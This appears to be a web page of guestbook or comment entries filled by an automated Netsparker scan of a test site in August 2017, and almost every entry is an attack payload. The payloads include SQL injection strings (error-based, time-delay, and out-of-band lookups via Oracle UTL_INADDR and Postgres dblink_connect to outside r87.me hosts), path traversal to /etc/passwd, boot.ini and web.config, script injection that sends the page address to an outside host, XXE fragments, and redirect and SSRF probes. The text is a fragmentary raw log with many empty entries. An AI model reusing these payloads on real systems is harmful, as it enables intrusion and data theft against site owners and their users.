+ /../../../../../../../../../../../etc/passwd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:27 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:27 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:27 AM +

+

+ -1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:26 AM +

+

+ /../../../../../../../../../../proc/versionďż˝.aspx +

+
+

WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:26 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:26 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:26 AM +

+

+ -1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a) +

+
+

+

+ 8/23/2017 8:08:26 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:26 AM +

+

+ 127.0.0.1/elmah +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:25 AM +

+

+ /../../../../../../../../../../proc/version +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:25 AM +

+

+ ::1/elmah +

+
+

Smith

+

+ 8/23/2017 8:08:25 AM +

+

+ 'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'=' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:25 AM +

+

+ '+netsparker(0x003E56)+' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:25 AM +

+

+ /../../../../../../../../../../var/log/apache/error.log +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:24 AM +

+

+ netsparker(0x003E54); +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:24 AM +

+

+ /../../../../../../../../../../var/log/apache2/error.log +

+
+

1 WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:24 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:24 AM +

+

+ convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:24 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:24 AM +

+

+ netsparker(0x003E52) +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:24 AM +

+

+ /../../../../../../../../../../etc/httpd/logs/error_log +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:24 AM +

+

+ 127.100.11.2/elmah +

+
+

Smith

+

+ 8/23/2017 8:08:23 AM +

+

+ '+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +' +

+
+

"+gethostbyname(trim('o010_rdnxuzq7qo7pydxgmnhzse_kgjmgziils9m'.'jwe.r87.me'))+"

+

+ 8/23/2017 8:08:23 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:23 AM +

+

+ +

+
+

' WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:23 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:23 AM +

+

+ 54.204.37.212/elmah +

+
+

Smith

+

+ 8/23/2017 8:08:23 AM +

+

+ (select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +

+
+

"+gethostbyname(trim('o010_rdnxufondmf8mxmraqqbef599semzo1qzka'.'hew.r87.me'))+"

+

+ 8/23/2017 8:08:22 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:22 AM +

+

+ testsparker.com/elmah +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:22 AM +

+

+ /../../../../../../../../../../etc/httpd/logs/error.log +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:22 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:22 AM +

+

+ %27 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:22 AM +

+

+ http://testsparker.com/elmah +

+
+

'+gethostbyname(trim('o010_rdnxujk-xulmgbzrj_8wlm6jihs9v8v3gmv'.'isu.r87.me'))+'

+

+ 8/23/2017 8:08:21 AM +

+

+ +

+
+

';l=document.createElement("link");l.rel="prefetch";l.href="//o010_rdnxuauehqbdj08dzofhtepdxmdqqsesxlz"+"itg.r87.me/r/?"+location.href;document.head.appendChild(l);//

+

+ 8/23/2017 8:08:21 AM +

+

+ +

+
+

';l=document.createElement("link");l.rel="prefetch";l.href="//o010_rdnxufmfledms0tqb-1uyw_vpf6mzacya_v"+"nwu.r87.me/r/?"+location.href;document.head.appendChild(l);//

+

+ 8/23/2017 8:08:21 AM +

+

+ +

+
+

'+gethostbyname(trim('o010_rdnxubc6b3rfauci7bvah5bijza6nghslqx'.'vu8.r87.me'))+'

+

+ 8/23/2017 8:08:21 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:21 AM +

+

+ 127.0.0.1/elmah.axd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:21 AM +

+

+ /../../../../../../../../../../proc/self/fd/2ďż˝.aspx +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:20 AM +

+

+ ',netsparker(0x003E50),' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:20 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:20 AM +

+

+ ' OR 1=1 OR '1'='1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:20 AM +

+

+ /../../../../../../../../../../proc/self/fd/2 +

+
+

Smith

+

+ 8/23/2017 8:08:20 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:20 AM +

+

+ ' OR 1=1 OR '1'='1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:20 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:19 AM +

+

+ OR X='ss +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:19 AM +

+

+ /../../../../../../../../../../windows/iis6.log +

+
+

Smith

+

+ 8/23/2017 8:08:19 AM +

+

+ 1 OR 17-7=10 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:19 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:19 AM +

+

+ ' OR 1=1 OR 'ns'='ns +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:18 AM +

+

+ AND 'NS='ss +

+
+

+gethostbyname(trim('o010_rdnxuwhgl88bi8g4kouzjeccvmq-c0vskuw'.'kzu.r87.me'));//

+

+ 8/23/2017 8:08:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:18 AM +

+

+ NS +NO +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:18 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:17 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:17 AM +

+

+ +

+
+

+gethostbyname(trim('o010_rdnxuq74jc83y023k8avv9_bl50c1ox1rkp'.'bq0.r87.me'));//

+

+ 8/23/2017 8:08:16 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:16 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:16 AM +

+

+ ' +

+
+

gethostbyname(trim('o010_rdnxuhsrkq3ylfvsy-ievxuw1rbhe6y0sjd'.'atu.r87.me'));

+

+ 8/23/2017 8:08:16 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:16 AM +

+

+ ::1/elmah.axd +

+
+

gethostbyname(trim('o010_rdnxuhny73xk8qwgshpfn2klqe8-mfu5cih'.'1kw.r87.me'));

+

+ 8/23/2017 8:08:16 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:16 AM +

+

+ 1 OR 1=1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:16 AM +

+

+ 127.100.11.2/elmah.axd +

+
+

gethostbyname(trim('o010_rdnxutmd8812f0gy5djglocblsppudzq9yx'.'pc4.r87.me'))

+

+ 8/23/2017 8:08:15 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:15 AM +

+

+ ....//....//....//....//....//....//....//....//....//....//....//windows\win.ini +

+
+

Smith

+

+ 8/23/2017 8:08:15 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:15 AM +

+

+ \';netsparker(0x003E4E);/// +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:15 AM +

+

+ c:\windows\win.ini +

+
+

";l=document.createElement("link");l.rel="prefetch";l.href="//o010_rdnxunuigphpvvkn4amt0hw11kzg3aicg9t"+"lty.r87.me/r/?"+location.href;document.head.appendChild(l);//

+

+ 8/23/2017 8:08:15 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:14 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:14 AM +

+

+ "+netsparker(0x003E4C)+" +

+
+

gethostbyname(trim('o010_rdnxurnl-hzwr_abbig3zxzlxbszllhgf7j'.'xqk.r87.me'))

+

+ 8/23/2017 8:08:14 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:14 AM +

+

+ /../../../../../../../../../../windows/win.iniďż˝.aspx +

+
+

";l=document.createElement("link");l.rel="prefetch";l.href="//o010_rdnxucoe5clqmxxmeebhuyv-ug5nzsrd-hh"+"dhq.r87.me/r/?"+location.href;document.head.appendChild(l);//

+

+ 8/23/2017 8:08:14 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:14 AM +

+

+ file:/windows/win.ini +

+
+

Smith

+

+ 8/23/2017 8:08:13 AM +

+

+ 1 OR 1=1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:13 AM +

+

+ '+netsparker(0x003E4A)+' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:13 AM +

+

+ 54.204.37.212/elmah.axd +

+
+

Smith

+

+ 8/23/2017 8:08:13 AM +

+

+ ' OR 1=1 OR '1'='1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:13 AM +

+

+ /../../../../../../../../../../windows/win.ini +

+
+

Smith

+

+ 8/23/2017 8:08:13 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:13 AM +

+

+ ' OR 1=1 OR '1'='1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:13 AM +

+

+ o010_rdnxurtuqnedkm7atmvcpmyua8haywhucwdoyx.r87.me/p/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:12 AM +

+

+ testsparker.com/elmah.axd +

+
+

+

+ 8/23/2017 8:08:12 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:12 AM +

+

+ /../../../../../../../../../../web.config +

+
+

Smith

+

+ 8/23/2017 8:08:12 AM +

+

+ OR X='ss +

+
+

Smith

+

+ 8/23/2017 8:08:12 AM +

+

+ 1 OR 17-7=10 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:12 AM +

+

+ */netsparker(0x003E48);/* +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:12 AM +

+

+ http://testsparker.com/elmah.axd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:12 AM +

+

+ c%3a%5cboot.ini +

+
+

Smith

+

+ 8/23/2017 8:08:11 AM +

+

+ ' OR 1=1 OR 'ns'='ns +

+
+

Smith

+

+ 8/23/2017 8:08:11 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:11 AM +

+

+ AND 'NS='ss +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:11 AM +

+

+ file%3a%2fboot.ini +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:11 AM +

+

+ body{x:expression(netsparker(0x003E46))} +

+
+

Smith

+

+ 8/23/2017 8:08:11 AM +

+

+ NS +NO +

+
+

+

+ 8/23/2017 8:08:11 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:10 AM +

+

+ ' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:10 AM +

+

+ n;ns:expression(netsparker(0x003E44)); +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:10 AM +

+

+ php://filter//resource=http://o010_rdnxu9kdfepoeiwpxwju9dydxwr8og6j5kehfb.r87.me/p/ +

+
+

Smith

+

+ 8/23/2017 8:08:10 AM +

+

+ 1 OR 1=1 +

+
+

Smith

+

+ 8/23/2017 8:08:10 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:10 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:09 AM +

+

+ http://o010_rdnxu8r3qe8x1xwizm6w-a2it_y4nacd-oftvx.r87.me/p/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:09 AM +

+

+ 127.0.0.1/trace.axd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:09 AM +

+

+ %2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini +

+
+

Smith

+

+ 8/23/2017 8:08:09 AM +

+

+ 1 OR 1=1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:09 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:09 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:08 AM +

+

+ <%a style=x:expre/**/ssion(netsparker(0x003E42))> +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:08 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:08 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:08 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:08 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:08 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:07 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:07 AM +

+

+ +

+
+

o010_rdnxua8t29ijj5lcsqcl7xpweyk2i6ljvp96in.r87.me/p/

+

+ 8/23/2017 8:08:07 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:07 AM +

+

+ ::1/trace.axd +

+
+

o010_rdnxu6tcixy-avunkhsze-67jxpjgkl4jksqxh.r87.me/p/

+

+ 8/23/2017 8:08:07 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:07 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:06 AM +

+

+ ns../../../../../../../../../../../boot.ini....................................................................................................................................................................................... +

+
+

Smith

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

php://filter//resource=http://o010_rdnxuu2ie2xhes7eeg9zgowwk3o0idqxj6kon9.r87.me/p/

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:06 AM +

+

+ javascript:netsparker(0x003E3E) +

+
+

php://filter//resource=http://o010_rdnxufbfzmvyntutgafdsxhw5gr1uxox5yeqjz.r87.me/p/

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:06 AM +

+

+ c:\boot.ini +

+
+

http://o010_rdnxum5-4l2p9tvdmecwn6htpm4dqeunruu3az.r87.me/p/

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:05 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:05 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:05 AM +

+

+ +

+
+

http://o010_rdnxu_3dmwrd8xvoyshzzkya2kvt_ls1wahl3f.r87.me/p/

+

+ 8/23/2017 8:08:05 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:05 AM +

+

+ file:/boot.ini +

+
+

Smith

+

+ 8/23/2017 8:08:05 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:05 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:04 AM +

+

+ /../../../../../../../../../../boot.ini +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:04 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:04 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:04 AM +

+

+ %dtd;]>&a; +

+
+

Smith

+

+ 8/23/2017 8:08:04 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:04 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:03 AM +

+

+ %dtd;]>&a; +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:03 AM +

+

+ 127.100.11.2/trace.axd +

+
+

Smith

+

+ 8/23/2017 8:08:03 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:03 AM +

+

+ %dtd;]>&a; +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:03 AM +

+

+ /../../../../../../../../../../boot.iniďż˝.aspx +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:03 AM +

+

+ 54.204.37.212/trace.axd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:03 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:02 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:02 AM +

+

+ testsparker.com/trace.axd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:01 AM +

+

+ http://testsparker.com/trace.axd +

+
+

'"-->

+

+ 8/23/2017 8:08:01 AM +

+

+ +

+
+

'"-->

+

+ 8/23/2017 8:08:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:01 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:00 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:00 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:59 AM +

+

+ "> +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:59 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:59 AM +

+

+ https://testsparker.com.r87.com/? +

+
+

Smith

+

+ 8/23/2017 8:07:59 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:59 AM +

+

+ '> +

+
+

%dtd;]>&a;

+

+ 8/23/2017 8:07:59 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:59 AM +

+

+ +

+
+

%dtd;]>&a;

+

+ 8/23/2017 8:07:58 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:58 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:58 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:58 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:58 AM +

+

+ //r87.com/n/j/?0x003E36 +

+
+

Smith

+

+ 8/23/2017 8:07:57 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:57 AM +

+

+ //r87.com/n/n.css?0x003E34 +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:57 AM +

+

+ http://testsparker.com.r87.com/? +

+
+

Smith

+

+ 8/23/2017 8:07:56 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:56 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:56 AM +

+

+ testsparker.com.r87.com/? +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:56 AM +

+

+ 1 ns=netsparker(0x003E2A) +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:56 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:56 AM +

+

+ +

+
+

%dtd;]>&a;

+

+ 8/23/2017 8:07:56 AM +

+

+ +

+
+

%dtd;]>&a;

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

'+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:55 AM +

+

+ ///r87.com/?testsparker.com/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:55 AM +

+

+ '" ns=netsparker(0x003E28) +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

'||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:54 AM +

+

+ /\r87.com/?testsparker.com/ +

+
+

Smith

+

+ 8/23/2017 8:07:54 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:54 AM +

+

+ /../../../../../../../../../../boot.ini +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:54 AM +

+

+ r87.com/?https://testsparker.com/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:54 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:53 AM +

+

+ data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDAzRTI2KTwvc2NyaXB0Pg== +

+
+

Smith

+

+ 8/23/2017 8:07:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:52 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:52 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:52 AM +

+

+ %27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x003E24%29%3C%2FscRipt%3E +

+
+

Smith

+

+ 8/23/2017 8:07:52 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:52 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:51 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:51 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:51 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:51 AM +

+

+ '"--> +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:51 AM +

+

+ +

+
+

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxuyoz3ygz7o3fb-fbmgahlo9g02qfwt7'||'o9q.r87.me') from DUAL))||'

+

+ 8/23/2017 8:07:50 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:50 AM +

+

+ r87.com/?http://testsparker.com/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:50 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:50 AM +

+

+ +

+
+

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxupwyriz8l3hafztwi5bxtvogbklimak'||'jsg.r87.me') from DUAL))||'

+

+ 8/23/2017 8:07:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:49 AM +

+

+ r87.com/?testsparker.com/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:49 AM +

+

+ "+print localtime()*0+0xFFF9999-22+" +

+
+

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxupjxsp5b-tc8mrkphwqyrjbysj9dta6'||'mu4.r87.me') from DUAL))))

+

+ 8/23/2017 8:07:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:48 AM +

+

+ //r87.com/?http://testsparker.com/ +

+
+

Smith

+

+ 8/23/2017 8:07:48 AM +

+

+ +

+
+

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxuntiadxvpt2vjilow5dxqk_zgklc92l'||'lga.r87.me') from DUAL))))

+

+ 8/23/2017 8:07:48 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:48 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:48 AM +

+

+ '+print localtime()*0+0xFFF9999-22+' +

+
+

(length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))

+

+ 8/23/2017 8:07:48 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:48 AM +

+

+ http://r87.com/?testsparker.com/ +

+
+

Smith

+

+ 8/23/2017 8:07:47 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:47 AM +

+

+ eval('print localtime()*0+0xFFF9999-22') +

+
+

(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxu6olwxenayn61zuznzvkpieqw2uxuss'||'zqo.r87.me') from DUAL)

+

+ 8/23/2017 8:07:47 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:47 AM +

+

+ print localtime()*0+0xFFF9999-22 +

+
+

(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxu5bux1l7536c7txqvw2vvoxrdqbr4ju'||'dau.r87.me') from DUAL)

+

+ 8/23/2017 8:07:46 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:46 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:46 AM +

+

+ +

+
+

'||cast((SELECT dblink_connect('host=o010_rdnxuamtijxrh_ua47ll7e6-nc4qrs7wicc'||'wby.r87.me user=a password=a connect_timeout=2')) as numeric)||'

+

+ 8/23/2017 8:07:46 AM +

+

+ +

+
+

'||cast((SELECT dblink_connect('host=o010_rdnxu_0yjiybkjb8gteg5wkotzgoa1zifn1'||'bme.r87.me user=a password=a connect_timeout=2')) as numeric)||'

+

+ 8/23/2017 8:07:46 AM +

+

+ +

+
+

cast((SELECT dblink_connect('host=o010_rdnxuddfqmvhh1jbp6oafwbchqjv2quvajg'||'yru.r87.me user=a password=a connect_timeout=2')) as numeric)

+

+ 8/23/2017 8:07:45 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:45 AM +

+

+ +

+
+

cast((SELECT dblink_connect('host=o010_rdnxugpapkhq8ssuvqftyjaxfcqkladiscr'||'mia.r87.me user=a password=a connect_timeout=2')) as numeric)

+

+ 8/23/2017 8:07:45 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:45 AM +

+

+ http://r87.com/?testsparker.com/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:45 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:45 AM +

+

+ +

+
+

dblink_connect('host=o010_rdnxuzkqd2xzqzomqtyhwubjnsm7qrtw41t'||'hmy.r87.me user=a password=a connect_timeout=2')

+

+ 8/23/2017 8:07:44 AM +

+

+ +

+
+

1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1

+

+ 8/23/2017 8:07:44 AM +

+

+ +

+
+

dblink_connect('host=o010_rdnxuagjvg0f2rhewf39zzrgsd8gd5a9nzl'||'mxi.r87.me user=a password=a connect_timeout=2')

+

+ 8/23/2017 8:07:44 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:44 AM +

+

+ [php]print(int)0xFFF9999-22;[/php] +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:44 AM +

+

+ +

+
+

SELECT dblink_connect('host=o010_rdnxuvwmotchao5p8ee8yqxr8vb08wancnl'||'zrg.r87.me user=a password=a connect_timeout=2')

+

+ 8/23/2017 8:07:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:43 AM +

+

+ +

+
+

